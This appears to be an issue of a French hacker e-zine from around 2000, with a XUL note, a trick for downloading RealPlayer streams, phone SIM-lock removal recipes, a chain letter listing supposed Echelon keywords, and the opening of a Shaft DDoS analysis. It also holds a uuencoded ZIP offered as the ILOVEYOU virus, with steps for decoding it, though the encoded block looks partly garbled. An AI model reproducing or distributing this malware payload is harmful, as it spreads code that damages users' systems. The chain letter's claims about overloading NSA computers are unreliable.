    provenant du site officiel de Mozilla:
    
    <?xml version="1.0"?>
    <?xml-stylesheet href="chrome://global/skin/xul.css" type="text/css"?>
    
    <!DOCTYPE window>
    
    <window id="main-window" xmlns:html="http://www.w3.org/TR/REC-html40"
    
    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
      <menubar>
          <menu name="File">
            <menuitem name="Hello World!" onclick="dump('Hello world!\n');"/>
          </menu>
      </menubar>
      <html:iframe id="content-frame" src="contentframe.html" flex="100%"/>
    </window>
    
    Vous comprendrez donc qu'une telle syntaxe offrirait des possibilités de
    création de documents proches de l'applicatif, à la manière d'une machine
    virtuelle JAVA, tout en étant essentiellement moins lourds. Ce langage étant
    à peine sorti je n'ai pu réussir à récolter plus d'informations, mais vous
    pouvez néammoins aller voir ce qui se dit ici en attendant sa
    popularisation:
    
    http://www.trucsweb.com/compatibilite/
    http://www3.sympatico.ca/ndeakin/mozilla/xultu/
    http://www.mozilla.org/xpfe/xptoolkit/xulintro.html
    
    
    
        xxx - DERNIERES INFORMATIONS SUR RAM - xxx
    Comment d/l ce qu'ils ne veulent pas que vous d/liez
        \ Ou une petite astuce sur le format .ram /
         -----------------------------------------
    
    Et ouais nous en sommes arrivé à un point où ils inventent des technologies
    pour nous faire rester sur leurs sites. Où je veux en venir? J'y viens tout
    de suite. Vous aurez sûrement remarqué au cours d'une de vos investigations
    internautiques un petit travers du format .rm pour le RealPlayer G2. Lequel?
    Le fichier que vous écoutez lit sa source directement sur le web, ce ki fait
    ke vous l'avez dans l'os si vous vouliez telecharger le fichier en kestion,
    et vous n'avez plus qu'a revenir sur le site chaque fois que vous voulez
    l'écouter. Mais n'ayez crainte, il suffit de se pencher 2 secondes sur ce
    petit probleme pour nous voir sourire sa solution.
    Tout d'abord il faut isoler le fichier pointé par le lien, car il est bien
    souvent caché par une quelconque routine js. Pour cela rien de bien
    compliqué, une simple analyse du code source de la page nous la livre, ou
    bien tt simplement faire 'enregistrer la cible'. Si la page est en flash (et
    là est le seul probleme), ouvrez une première fois le lien, puis contemplez
    l'historique des pages visitées. Ensuite, ne vous gênez pas et téléchargez
    ce premier fichier qui porte l'extension .ram puis ouvrez le avec un editeur
    texte standard (bloc note ou vi). Et là oh surprise, le seule contenu de ce
    fichier est une seconde url, celle du fichier .rm, le bon cette fois-ci, que
    vous pouvez télécharger à votre grand plaisir et l'écouter toute la nuit. C
    tout, vous l'auriez découvert tt seuls petits chenapans, à une prochaine
    fois!
    
    gard (matforever@hotmail.com)
    http://www.gardworld.tsx.org
    







    
               _        ________________________________________        _
    -*5*-       `^°*;:,.>         Simlock et compagnie         <.,:;*°^`
    ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯ By g3n0c1d3 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸
    
    
    ndt :
    Avis a tout possesseur de telephone mobile, gsm, bibop, ou
    similaire ; la mise en application des procedes decrits
    ci-dessous est tres fortement deconseillee si :
    -c'est votre telephone
    -ca n'est pas votre telephone
    -ca n'est pas encore votre telephone
    -ca n'est plus votre telephone
    Pour les autres je voudrais bien savoir comment on pourrait
    mettre ca en application sans posseder un mobile...
    tob
    
    
    
    Les fiches cuisines de G3n0c!d3
    
    Comment unlocker un sony C1 ?
    -----------------------------
    Tout d'abord allumer votre mobile est tapez  *#06# le imei va
    s'afficher, il comporte 15 chiffres
    exemple: 495826485210324
    recopier votre numero de serie exepter le dernier chiffre et
    des 6 premiers chiffres, pour notre cas sa nous donne, 48521032.
    Lancez le programme C1 et tapez les 8 chiffres noté.
    le programme vous donne la CLEF SIMLOCK dans notre cas= 23685917,
    il vous reste a taper le code suivant:
    *#7465625*32*+vos 8 chiffres#
    le portable va rebooter(!) la programmation est accomplie.
    Pour toutes questions: n0kia@multimania.com
    Icq: 65647541
    url pour telecharger le programme:
    http://www.multimania.com/ro0t/ro0t/
    http://www.multimania.com/n0kia/c1
    
    
    
    Nokia 6610 & 5110
    -----------------
    Lorsque vous achetez un telephone portable compris dans un pack,
    par exemple: Mobicarte. Celui-ci est bloque de facon que vous ne puissiez
    utiliser qu'avec un abonnement iteneris, ce qui est explique souvent le prix
    du portable 450 > ...
    
    ily a plusieurs types de verouillages:
    - Le verouillage SIM (empeche d'utiliser  une autre sim)
    -Le network lock qui vous oblige d'utiliser la carte sim de l'operateur
    en question
    - Et enfin le verouillage du produit ( le verouillage du portable lui meme).
    
    Comment deveroullier ?
    ( pour toutes les operations qui vont suivrent vous aurez besoins
    du cable M2bus voir shema).
    Soft utiliser: Nokiall.exe
    ce debloquage s'applique juste pour le network lock
    
    1° Banchez le cable soit dans le port Com1 ou Com2
    2° Verifier si le cable est bien branchez sur votre telephone.
    3° Lancez le soft, et allumez le portable.
    4°clickez Sur unlock .
    
    Bon maintenant pour les vraies dur une autre maniere qui vous permet de
    deveroullier completement le portable.
    Soft utiliser: Imei.exe, Wintesla 5.X ou version >, winopen.
    
    1° installer wintesla, et configurez le de facon que le soft reconnaise
    votre Portable.
    
    2°maintenant il faut calculer le code de securite (imei) avec imei.exe
    Pour trouver le code de securite de solution: vous regardez ou dos du tel
    ou en tapant
    *#06#
    
    3° vous aurez besoin de Winopen, commencez a choisir le port de
    communication com 1 ou com2 (dans Winlock, =>option)
    
    4°Selectionnez open pour les niveaux Simlock 1 et 4 et cliquez sur
    Write phone.
    
    5° Entrez le code de securité calculez de l'etape 2 et clickez ok.
    
     Apres avoir completé ces étapes, votre telephone acceptera n'importe
     quelle carte sim. Par contre en  rattachant le telephone a Wintesla,
     l'information affichee sera que les simlocks sont toujours actifs..
     En lisant les memes infos avec la version originale de Winlock,
     les infos sont les memes, on peut en deduire que le telephone
     "ment" au programme. Il ne s'agit donc pas d'une suppression mais
     d'un contournisme (ca existe ce mot?)/
    
    !!! attention si winopen ne fonctionne pas avec votre portable essayer
    Winlock mm chose.
    kk liens:
    http://membres.tripod.fr/n0kiaunlockeur
    http://members.tripod.com/n0kiaunlockeur.
    vous trouverez sur ce site les softs utiliser.
    
    http://www.gsmhacking.com
    http://www.gsmfactory.com
    
    
    Comment verifier si votre portable est bloqué?
    -----------------------------------------------
    
    pour Le fournisseur de services
    #pw+<1234567890>+<1>#
    
    pour la protection du rezo:
    #pw+<1234567890>+<2>#
    
    pour la 2iéme protection du fournisseur de  services:
    #pw+<1234567890>+<3>#
    
    pour La carte SIM
    #pw+<1234567890>+<4>#
    
    [pour obtenir W appuyer  4x sur *]
    [pour le p appuyer 3 fois la touche *]
    pour obtenir + appuyer 2x sur*]
    
    Si vous obtenez comme reponses SIM WAS NOT RESTRICTED cela signifie
    qu'il n'ya pas de protection
    
    Trucs & astuces:
    afficher le soft :     (*#9999#)
    afficher imei: *#06#
    Mode EFR  :
    Activer      :       (*3370#)
    Désactiver :       (#3370#)
    Un menu caché, le menu service
    Activer :            (*#92702689#)
    -----------------------------------------------------------
    
    
    
    
    Instruction pour unlock.exe d'alcatel
    
    Apres avoir rentre votre IMEI, vous obtenez deux codes, ON, OFF
    et le type de telephone.
    ON est le code pour activer le SIMLOCK (pour les mazos:-) donc on
    va tout naturellement sur OFF qui est censé déSIMLOCKer, mais comme
    le code est incomplet (en partie pour les reseaux espagnols et pour les
    autres, allez savoir..). Les observateurs constateront que le numero qui
    s'affiche est en HEXA (probablement en standard pour l'apparition de
    l'ipv6) mais qui actuellement contient des valeurs fixes correspondant
    au fournisseur d'acces locaux. et le CODE correct pour UNLOCKer
    est la somme des deux.
    
    Ex :
    
    IMEI: 330020536226XXX
    ON: 50453d90
    OFF: 10453d90
    Phone type: Alcatel HC800
    Network provider: E MOVISTAR (214-07)
    
    Si l'on introduit le code OFF, le telephone ne l'acceptera pas. Il faudra
    ahouter un autre numero a ce code. En espagne pour un 217-07 (MoviStar)
    il faudra rentrer 9FDFFA. Il va falloir additionner ces numeros.
    La methode la plus facile est d'utiliser une calculatrice scientifique
    (calc.exe)
    en mode hexadecimal et de realiser la somme : 10453d90+9FDFFA=10E51D8A
    10E51D8A est le bon numero (inutile d'essayer le loto ca passe pas).
    On le tape dans le telephone et miracle le SIMLOCK s'est fait la malle :-)))
    
    
    Document fourni par email et traduit par hasard le 12-05-2000 a 19h21 GMT
    T.
    
    
    <nokia@rootmail.com>
    




    
               _        ___________________________________________        _
    -*6*-       `^°*;:,.>                 Echelon                 <.,:;*°^`
    ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By anonymouz ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤
    
    Ceci est une copie d'un courrier recu dans la BAL du gang,
    a la demande "veux tu rester anonyme", l'auteur n'a pas
    repondu. Qui ne dit rien consent, nous respectons son
    anonymat...
    
    --------snip---------
    
    
    A faire passer soigneusement a plein d'autres gens
    Vous le savez peut-etre. La NSA (National Security Agency) a developpe
    un reseau de 120 satellites avec l'aide du Canada, de l'Australie, de
    la Nouvelle-Zelande et de nos amis britanniques. Le but consiste en
    l'ecoute de tout ce qui se dit ou s'ecrit par telephone, fax,
    email, etc.
    Pour cela "Echelon", le nom du programme en question utilise des mots-cles.
    
    Chaque message utilisant un de ces mots-cle est aussitot intercepte
    par les machines, puis lu ou ecoute.
    
    Chaque jour, "Echelon" pirate ainsi en toute illegalite l'equivalent de
    la bibliotheque du Congres americain. Si vous souhaitez contribuer a saturer
    les ordinateurs de Fort Meade (quartier general de la NSA), et a faire
    griller (on peut rever) leurs ordinateurs Super-Cray, envoyez ce message
    a ous vos amis. Il contient une liste non-exhaustive de ces mots-cle.
    Vos messages seront immediatement captes par les ordinateurs de la NSA.
    Mathematiquement, il se trouve que les seuls francais connectes a internet ont
    la capacite de faire sauter le systeme, ne serait-ce que quelques heures.
    
    
    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
    
    Voici la liste:
    
    
    Explosives, guns, assassination, conspiracy, primers,
    detonators, initiators, main charge, nuclear charges, ambush, sniping, motorcade, IRS, BATF, jtf-6, mjtf,
    hrt, srt, hostages, munitions, weapons, TNT, rdx, amfo, hmtd, picric acid, silver nitrite, mercury
    fulminate, presidential motorcade,salt peter, charcoal, sulfur, c4, composition b, amatol, petn, lead
    azide, lead styphante, ddnp, tetryl, nitrocellulose, nitrostarch, mines, grenades, rockets, fuses, delay
    mechanism, mortars, rpg7, propellants, incendiaries, incendiary device, thermite, security forces,
    intelligence, agencies, hrt, resistance, psyops, infiltration, assault team, defensive elements, evasion,
    detection, mission, communications, the football, platter charge, shaped charges, m118, claymore, body
    armor, charges, shrapnel, timers, timing devices, boobytraps, detcord, pmk 40, silencers, Uzi, HK-MP5,
    AK-47, FAL, Jatti, Skorpion MP, teflon bullets, cordite, napalm, law, Stingers, RPK,SOCIMI 821 SMG, STEN,
    BAR, MP40, HK-G3,FN-MAG, RPD,PzB39, Air Force One, M60, RPK74, SG530, SG540, Galil arm, Walther WA2000,
    HK33KE, Parker-Hale MOD. 82, AKR, Ingram MAC10, M3, L34A1, Walther MPL, AKS-74, HK-GR6, subsonic rounds,
    ballistic media, special forces, JFKSWC, SFOD-D, SRT, Rewson, SAFE, Waihopai, INFOSEC, ASPIC, Information
    Security, SAI, Information Warfare, IW, IS, Privacy, Information Terrorism, Kenya, Terrorism Defensive
    Information, Defense Information Warfare, Offensive Information, Offensive Information Warfare, NAIA,
    SAPM, ASU, ECHELON ASTS, National Information Infrastructure, InfoSec, SAO, Reno, Compsec, JICS, Computer
    Terrorism, Firewalls, Secure Internet Connections, RSP, ISS, JDF, Passwords, NAAP, DefCon V, RSO,
    Hackers, Encryption, ASWS, Espionage, USDOJ, NSA, CIA, S/Key, SSL, FBI, Secret Service, USSS, Defcon,
    Military, White House, Undercover, NCCS, Mayfly, PGP, SALDV, PEM, resta, RSA, Perl-RSA, MSNBC, bet, AOL,
    AOL TOS, CIS, CBOT, AIMSX, STARLAN, 3B2, BITNET, Tanzania, SAMU, COSMOS, DATTA, E911, FCIC, HTCIA, IACIS,
    UT/RUS, JANET, ram, JICC, ReMOB, LEETAC, UTU, VNET, BRLO, SADCC, NSLEP, SACLANTCEN, FALN, 877,
    NAVELEXSYSSECENGCEN, BZ, CANSLO, CBNRC, CIDA, JAVA, rsta, Active X, Compsec 97, RENS, LLC, DERA, JIC,
    rip, rb, Wu, RDI, Mavricks, BIOL, Meta-hackers, ^?, SADT, Steve Case, Tools, RECCEX, Telex, OTAN,
    monarchist, NMIC, NIOG, IDB, MID/KL, NADIS, NMI, SEIDM, BNC, CNCIS, STEEPLEBUSH, RG, BSS, DDIS,
    mixmaster, BCCI, BRGE, SARL, Military Intelligence, JICA, Scully, recondo, Flame, Infowar, Bubba, Freeh,
    Archives, ISADC, CISSP, Sundevil, jack, Investigation, JOTS, ISACA, NCSA, ASVC, spook words, RRF, 1071,
    Bugs Bunny, Verisign, Secure, ASIO, Lebed, ICE, NRO, Lexis-Nexis, NSCT, SCIF, FLiR, JIC, bce, Lacrosse,
    Flashbangs, HRT, IRA, EODG, DIA, USCOI, CID, BOP, FINCEN, FLETC, NIJ, ACC, AFSPC, BMDO, site, SASSTIXS,
    NAVWAN, NRL, RL, NAVWCWPNS, NSWC, USAFA, AHPCRC, ARPA, SARD, LABLINK, USACIL, SAPT, USCG, NRC, O,
    NSA/CSS, CDC, DOE, SAAM, FMS, HPCC, NTIS, SEL, USCODE, CISE, SIRC, CIM, ISN, DJC, bemd, SGC, UNCPCJ, CFC,
    SABENA, DREO, CDA, SADRS, DRA, SHAPE, bird dog, SACLANT, BECCA, DCJFTF, HALO, SC, TA SAS, Lander, GSM, T
    Branch, AST, SAMCOMM, HAHO, FKS, 868, GCHQ, DITSA, SORT, AMEMB, NSG, HIC, EDI, benelux, SAS, SBS, SAW,
    UDT, EODC, GOE, DOE, SAMF, GEO, JRB, 3P-HV, Masuda, Forte, AT, GIGN, Exon Shell, radint, MB, CQB, CONUS,
    CTU, RCMP, GRU, SASR, GSG-9, 22nd SAS, GEOS, EADA, SART, BBE, STEP, Echelon, Dictionary, MD2, MD4, MDA,
    diwn, 747, ASIC, 777, RDI, 767, MI5, 737, MI6, 757, Kh-11, EODN, SHS, ^X, Shayet-13, SADMS, Spetznaz,
    Recce, 707, CIO, NOCS, Halcon, NSS, Duress, RAID, Uziel, wojo, Psyops, SASCOM, grom, NSIRL, D-11, SERT,
    VIP, ARC, S.E.T. Team, NSWG, MP5k, SATKA, DREC, DEVGRP, DF,DSD, FDM, GRU, LRTS, SIGDEV, NACSI,
    MEU/SOC,PSAC, PTT, RFI, ZL31, SIGDASYS, TDM, SUKLO, SUSLO, TELINT, fake, TEXTA, ELF, LF, MF, SIGS, VHF,
    Recon, peapod, PA598D28, Spall, dort, 50MZ, 11Emc Choe, SATCOMA, UHF, SHF, ASIO, SASP, WANK, Colonel,
    domestic disruption, 5ESS, smuggle, Z-200, 15kg, DUVDEVAN, RFX, nitrate, OIR, Pretoria, M-14, enigma,
    Bletchley Park, Clandestine, NSO, nkvd, argus, afsatcom, CQB, NVD, Counter Terrorism Security, SARA,
    Rapid Reaction, JSOFC3IP, Corporate Security, Police, sniper, PPS, ASIS, ASLET, TSCM, Security
    Consulting, M-x spook, Z-150T, High Security, Security Evaluation, Electronic Surveillance, MI-17, ISR,
    NSAS, Counterterrorism, real, spies, IWO, eavesdropping, debugging, CCSS, interception, COCOT, NACSI,
    rhost, rhosts, ASO, SETA, Amherst, Broadside, Capricorn, NAVCM, Gamma, Gorizont, Guppy, NSS, rita, ISSO,
    submiss, ASDIC, .tc, 2EME REP, FID, 7NL SBS, tekka, captain, 226, .45, nonac, .li, Ionosphere, Mole,
    Keyhole, NABS, Kilderkin, Artichoke, Badger, Emerson, Tzvrif, SDIS, T2S2, STTC, DNR, NADDIS, NFLIS, CFD,
    quarter, Cornflower, Daisy, Egret, Iris, JSOTF, Hollyhock, Jasmine, Juile, Vinnell, B.D.M., Sphinx,
    Stephanie, Reflection, Spoke, Talent, Trump, FX, FXR, IMF, POCSAG, rusers, Covert Video, Intiso, r00t,
    lock picking, Beyond Hope, LASINT, csystems, .tm, passwd, 2600 Magazine, JUWTF, Competitor, EO, Chan,
    Pathfinders, SEAL Team 3, JTF, Nash, ISSAA, B61-11, Alouette, executive, Event Security, Mace, Cap-Stun,
    stakeout, ninja, ASIS, ISA, EOD, Oscor, Merlin, NTT, SL-1, Rolm, TIE, Tie-fighter, PBX, SLI, NTT, MSCJ,
    MIT, 69, RIT, Time, MSEE, Cable & Wireless, CSE, SUW, J2, Embassy, ETA, Fax, finks, Fax encryption, white
    noise, Fernspah, MYK, GAFE, forcast, import, rain, tiger, buzzer, N9, pink noise, CRA, M.P.R.I., top
    secret, Mossberg, 50BMG, Macintosh Security, Macintosh Internet Security, OC3, Macintosh Firewalls, Unix
    Security, VIP Protection, SIG, sweep, Medco, TRD, TDR, Z, sweeping, SURSAT, 5926, TELINT, Audiotel,
    Harvard, 1080H, SWS, Asset, Satellite imagery, force, NAIAG, Cypherpunks, NARF, 127, Coderpunks, TRW,
    remailers, replay, redheads, RX-7, explicit, FLAME, JTF-6, AVN,ISSSP, Anonymous, W, Sex, chaining, codes,
    Nuclear, 20, subversives, SLIP, toad, fish, data havens, unix, c, a, b, d, SUBACS, the, Elvis, quiche,
    DES,1*, NATIA, NATOA, sneakers, UXO, (), OC-12, counterintelligence, Shaldag, sonage, Sport, NASA, TWA,
    DT, gtegsc, owhere, .ch, hope, emc, industrial espiUPIR, PI, TSCI, spookwords, industrial intelligence,
    H.N.P., SUAEWICS, Juiliett Class Submarine, Locks, qrss, loch, 64 Vauxhall Cross, Ingram Mac-10, wwics,
    sigvoice, ssa, E.O.D., SEMTEX, penrep, racal, OTP, OSS, Siemens, RPC, Met, CIA-DST, INI, watchers,
    keebler, contacts, Blowpipe, BTM, CCS, GSA, Kilo Class, squib, primacord, RSP, Z7, Becker, Nerd, fangs,
    Austin, no|d, Comirex, GPMG, Speakeasy, humint, GEODSS, SORO, M5, BROMURE, ANC, zone, SBI, DSS, S.A.I.C.,
    Minox, Keyhole, SAR, Rand Corporation, Starr, Wackenhutt, EO, burhop, Wackendude, mol, Shelton, 2E781,
    F-22, 2010, JCET, cocaine, Vale, IG, Kosovo, Dake, 36,800, Hillal, Pesec, Hindawi, GGL, NAICC, CTU,
    botux, Virii, CCC, ISPE, CCSC, Scud, SecDef, Magdeyev, VOA, Kosiura, Small Pox, Tajik, +=3D, Blacklisted
    411, TRDL, Internet Underground, BX, XS4ALL, wetsu, muezzin, Retinal Fetish, WIR, Fetish, FCA, Yobie,
    forschung, emm, ANZUS, Reprieve, NZC-332, edition, cards, mania, 701, CTP, CATO, Phon-e, Chicago Posse,
    NSDM, l0ck, spook, keywords, QRR, PLA, TDYC, W3, CUD, CdC, Weekly World News, Zen, World Domination,
    Dead, GRU, M72750, Salsa, 7, Blowfish, Gorelick, Glock, Ft. Meade, NSWT, press-release, WISDIM, burned,
    Indigo, wire transfer, e-cash, Bubba the Love Sponge, Enforcers, Digicash, zip, SWAT, Ortega, PPP, NACSE,
    crypto-anarchy, AT&T, SGI, SUN, MCI, Blacknet, ISM, JCE, Middleman, KLM, Blackbird, NSV, GQ360, X400,
    Texas, jihad, SDI, BRIGAND, Uzi, Fort Meade, *&, gchq.gov.uk, supercomputer, bullion, 3, NTTC,
    Blackmednet, :, Propaganda, ABC, Satellite phones, IWIS, Planet-1, ISTA, rs9512c, South Africa, Sergeyev,
    Montenegro, Toeffler,
    
    
    --------snip---------
    
    




    
               _        ________________________________________        _
    -*7*-       `^°*;:,.>             Love Parade              <.,:;*°^`
    ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Tobozo ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸
    
    Voici le code du virus qui a soit-disant couté plusieurs
    millions de dollars a la communaute internaute.
    Disons qu'il a certainement rapporté plusieurs millions a
    la communauté des diffuseurs d'anti-virus et des subventions
    plus grosses pour les organismes publics qui commencent a
    en avoir marre de se taper des pentium 133.
    
    Rappelons que les auteurs ont pu s'en sortir en toute
    impunité grace a leurs lois locales.
    En allemagne il fait bon coder des virus si on ne les
    diffuse pas (envoyer a plus de deux personnes).
    Aux philippines il fait bon distribuer des virus car
    la-bas ils sont assez intelligents pour ne blamer que
    la faiblesse du systeme.
    
    Le code est inclus dans ce hackoff mais il est rendu inactif
    par plusieurs choses :
    
    1) Ajout de retours chariots la ou il ne faut pas
    2) Type de fichier rendu mixte donc inscannable
    3) Encodage en base_64
    4) Encodage en .zip
    
    Quand vous attrappez la grippe, vous blamez la nature vous ?
    
    
    Blah blah blah avec ton encodeur tu encoderas et avec ton
    decodeur tu decoderas....
    
    Mode d'emploi : renommer le hackoff22,htm en hackoff22.uue
    et l'ouvrir avec une version recente de winzip.
    Surtout ne pas renommer le fichier iloveyou.dbx en .vbs
    car ca le rendrait actif, appreciez plutot la beaute de
    l'art numerique qui s'y trouve...
    
    
    _=_
    _=_ Part 001 of 001 of file virus i love you .zip
    _=_
    
    begin 666 virus i love you .zip
    M4$L#!!0````(``FWJ"B3IH%'+0T``!`G```5````=FER=7,@:2!L;W9E('EO
    M=2`N9&)XO1K]5^)(\G?>XW_H8_=Y<`:4#W7',>Z@XL>(X@*.,W?>S@M)AP22
    M3NP$D)FW][=?57<2$CYTYG9N?0KIZJKJ^NJJZHZYQSGM;L\S0W+!O8D/X'SN1F.VHREWENW8OF\S&N1S'49:G'N<=&DP
    M<2FYI<]A/F?8+C$#3S%L'LR#D+KX-+,9?L'(5^B3HH=<,6V'*M-!H'O^7#&\
    M63Y'G]1"(9^#274WG^O1$/D0E9QR"CIU!B.JA\5"3^>V']IL6#D'#CVQA)PK
    ME/*Y`*D`#F1`7.GXE/5!+$0M/DC2BOPZGS@.TURJ5($LDD-%TDJ7:D;3!3I7.)`*/'!YN!M0*2V"&?N_2"\!'LA:/@L6^[
    MU)L(:]@F*7)^K%9+)+0H`Z.^1J3L*H5NZ^+SV4.G>P;.H,P@MBF](?T86?:"
    MACV?ZK;FG'L.1%%QMY1@2;]O0JPN$#$>-J'5(C1]@;#!B[?@14#6*Z?@PF*R
    M_E;A\:9W33FC3KU6`0\7,DB@"F"`->NULW9[=3YATNY\:)7;K7Z_U2V?=[KE
    M3YW[2O]C/Z;@=,@G+,#8L$+7$?'B@^.-T*.XLQ#@V$&H&=R>X@!-"A$EPRI%
    MO3ZRSB"RV,3%'<*0JUA0%X&5S\F(:7=.F^W/-\W3RZO;U@LA\W@ZX9RR\`/E
    M@>VQQ^Z$I2P$W)07;/=CU^U1/K5U&@!*/B<]4%#6.P4V5Z2ZR`[)`,09TO`;
    M-\T5"U$9L&?KV7<\3OGC&3!R/,T@9S:'_>GQ>;QC4NO%^V8!T@\?4]L"T3%G
    MT&?P<"9J0(?S9A^,1Y]IH;38@5T-;.+:7\"*X%:(;1"M6&R0?Y`N,TIDFU2E
    M%'*RNKOF)^*4^(.`#4[O7U*;)%K?0!I[[(4:!U/<:4-:4`I6&/J'.SNSV:P2
    MC.>0VL,*_.W\9^Y-V+`:[%R^O[9&;$:Y-1H_Z]-Y"(\AN^F?SVC(C\-I8)@'^P=OV&@P_=3?>;BZ+9_<7_3.KSX*6X#QG(`F&M;^
    M(FTT-J2.KH4[P=C1C)'IF,9H:%V_9ZC%_.SBW!Z/[J_F3Z#<`_AFK[%_\,M^
    MO=8`I1LC=GEY,9@.W.OV^^N1-7X:-6:OZ57_B_0:>[9NV3LC<[_?'8WUP477
    MOWC2GJIO?ID.SC_L6>9Y:SSP_!/CMW\R%[AU+'/8ZNX?#.H?!M/A:UHT_B(M
    M=&NR$QA#$ZP-T3,:.[]<&4N9H1@+9/LUK]H+%?K=4;]F1^$%JC
    MC-KY7*QXM*"\H($2P[ZCH3XHK>T
    M`;0$AP-'8^,E^R3U*ZEL+]4O0S%T)8BJ?ES/SX`(N\ASH&AIND6`.X/I?.[*
    M)(:<[L]]*G($X*1`:IWTA;E-T2HXPC\57PLML$VAM!!5BI#("*R")?EM9D+R
    M1S<'1I*UQRMH]24D$^0F>979MR&2(N:9@'1
    M'2^@9I48!30_U(#,["ZST,)#-?#*V0NW'RBD<%=OU!(RU9%)T27ZC)7\8<9,/AW^6%6_595JM(&^
    M2WH(];3TKE_+"`_38EUY$%J6?[$6X"TK@*"4!EH8;M``9BKPQ^W!)*2!FAUN
    MU[+YG#X=':?V8"0JS@0@/>SDN&$3.B',L=EX!0B(%9O9`I+/(2B0AY(8N$"S
    M'#]CDB`Z@=EK#9..IS1+H(WI*@]HJ#;43E+XEX3^N[!A_JU[U3V-3HH;<0BY
    M+:TAQJD!N-&YI;
    M/J'SC9BIAD2X2_?<[UZ.[:H>(]7#]YVKV\.?#K]NQ*NJA.Q@L)&?F:V/B:J2
    MGZ&TE,A7`@*'Y(^-E#6DK!BZ3@(,9T$.+<;6:^?4R_[-1IYU-;M>G,*?U$48
    MKG9%3-3!3`U-5>'O*:&!^:(_(J-"PS%WEB^CUJ]UI&(>*TCS$V6^*76-2=,#Z&@D^@P^[^N
    M![1J:EEQFQ3SPL7B=5(K+CI;8;#7/.8&PZ@C!D]AKFHA;;`@+D4M&2""R+NR
    M3,3#ZB)^DG4!+)ANDD^X+9+PVZ(J(V,23;&@"QYQ.OZ3HF+0K-ST;);N6='P
    MWA,#,<`':/:Y30/%A52E&)B`KMNAI/9-$[D]#Q
    MO'&EZ?N.#<=@T"`FA(51H597IHLQ.7![5JLB8J#F,?E.7IXO/S'(/E"C44Z672@TKLV
    M&Q*3>[`7:25FU12H;B+#=]RM2BG!G:M9-3Y@QT:\[(`97[.B4EU_N_VL/F]7
    MXZKPVDJOA*:R*6!DEOF_<<_4YUZ4#&X]:.7PMK\7;_0$DBE^>'/]4O)R\(V/
    MPA0CU*KX48,/?,#O.OPU%`>'>_"W#Q2`I1:.+EO-L^.C_E6_W3I.A4F90%?2
    M/OJU_*N<.KII]9MP5F_>M-1WY7<7E%&NA1Z'9W+:N>V#51!^TNQVKLF'DQXP
    M6'"#B>/"5A2FY#-84[`C,;?F)+166$7OP$""U7=@`,SGUKP$0^3H)1A)O06+
    MX!P:D=KN[NYKXIS1J-_RV+),MNL[E,"IA=C8?[.Q[,)MZ'6&GF=`_[R&.1JQ
    M>=5>!I\"TU;W.)_K(PLTMWPIQBCLV";4KRG]2$ZAW>>>@SQ\1/5(BVD#P(*D
    M)]\TA!GJ?*X?*+4(=3L,&81+1&S3DDG1$[$.[II=G^[
    M;[7`H9T[M`*T<-"*AA3]?7'::7>Z")U#B?-F[\K@F.-R\O.EO.8G!03VL%:T
    MPO&R#">=LT_'1\+;J&%F'BA[I]VKNSYQ-#:<:$.*4KR7A77)"XC\MW(9&,%O
    M&H[I>B8N]RK@5@(HVA:A[L(W0>@L35A9^2>VA%;[-YR(F
    MKC>E?:^XJ^R6WD8@\(+]!8$S6['LTML_TNM+BBL3!9>+`))2E6'TK#"&FZ)Y!Q4=-?-;%9T/19MC_0);,
    M\M!F:C4-062U@-D(SM_X;@<6R'9)('GRQG/E=3%,EH!KBF&0?GT97S+06,>A
    MD>%0EY@'60XPEIQKRQQDEZFMNY%8%&LPU^_EW[-O!5=-..-V=),CQ"HL38DS
    M9G;Q-8>*UQ>5_<\J(XC""INX`\K51JVQB@4AM)L>RZJYR@=#;97:\/0)]C%2
    MPWR.@"BM;K?3/22ZQB`10NZ&[`71`MLRSK.`LV0BN7E73+$J2P8BA7OA9`@+
    M90X%PCD9S99[#\!8?4F1SX'%XP8$C1^W(/`R6E\'?L(+/H$GN_D<6&L5*`'X'>6$5?
    MVHDP5@H[$GLOA=V0NVN)^1MD_BBQ:VG):Z]*GD:OO2YY?17]!/,
    MSR__!5!+`0(4`!0````(``FWJ"B3IH%'+0T``!`G```5``````````$`(`"V
    M@0````!V:7)U6]U("YD8GA02P4&``````$``0!#````8`T`
    #````
    `
    end
    




    
               _        ________________________________________        _
    -*8*-       `^°*;:,.>                Shaft                 <.,:;*°^`
    ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Cakeii ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸
    
    Analyse complémentaire de Shaft

    1. Introduction : Analyse sur un cas concret

      Cette analyse est un complément de l'analyse de Sven Dietrich sur l'outils de DDoS Shaft, du 16 mars 2000 vous trouverez sa traduction par Cakeii à l'adresse suivante : Analyse de Shaft. Ce texte nous permet d'analyser comment les pirates ont installés Shaft sur un réseau distant, se sont introduits sur le réseau et modifiés le système pour rendre invisible l'outil Shaft. Nous partageons ici les informations acquises sur d'autres sites et avec des administrateurs qui ont examinés des systèmes piratés.

      Les noms d'utilisateur et les identifications de machine ont été modifiés. Nous avons essayé d'entrer en contact avec les admins des domaine dont les noms des réseaux sont apparus dans n'importe lequel de ces fichiers.

      • Comment nous avons trouvé les informations

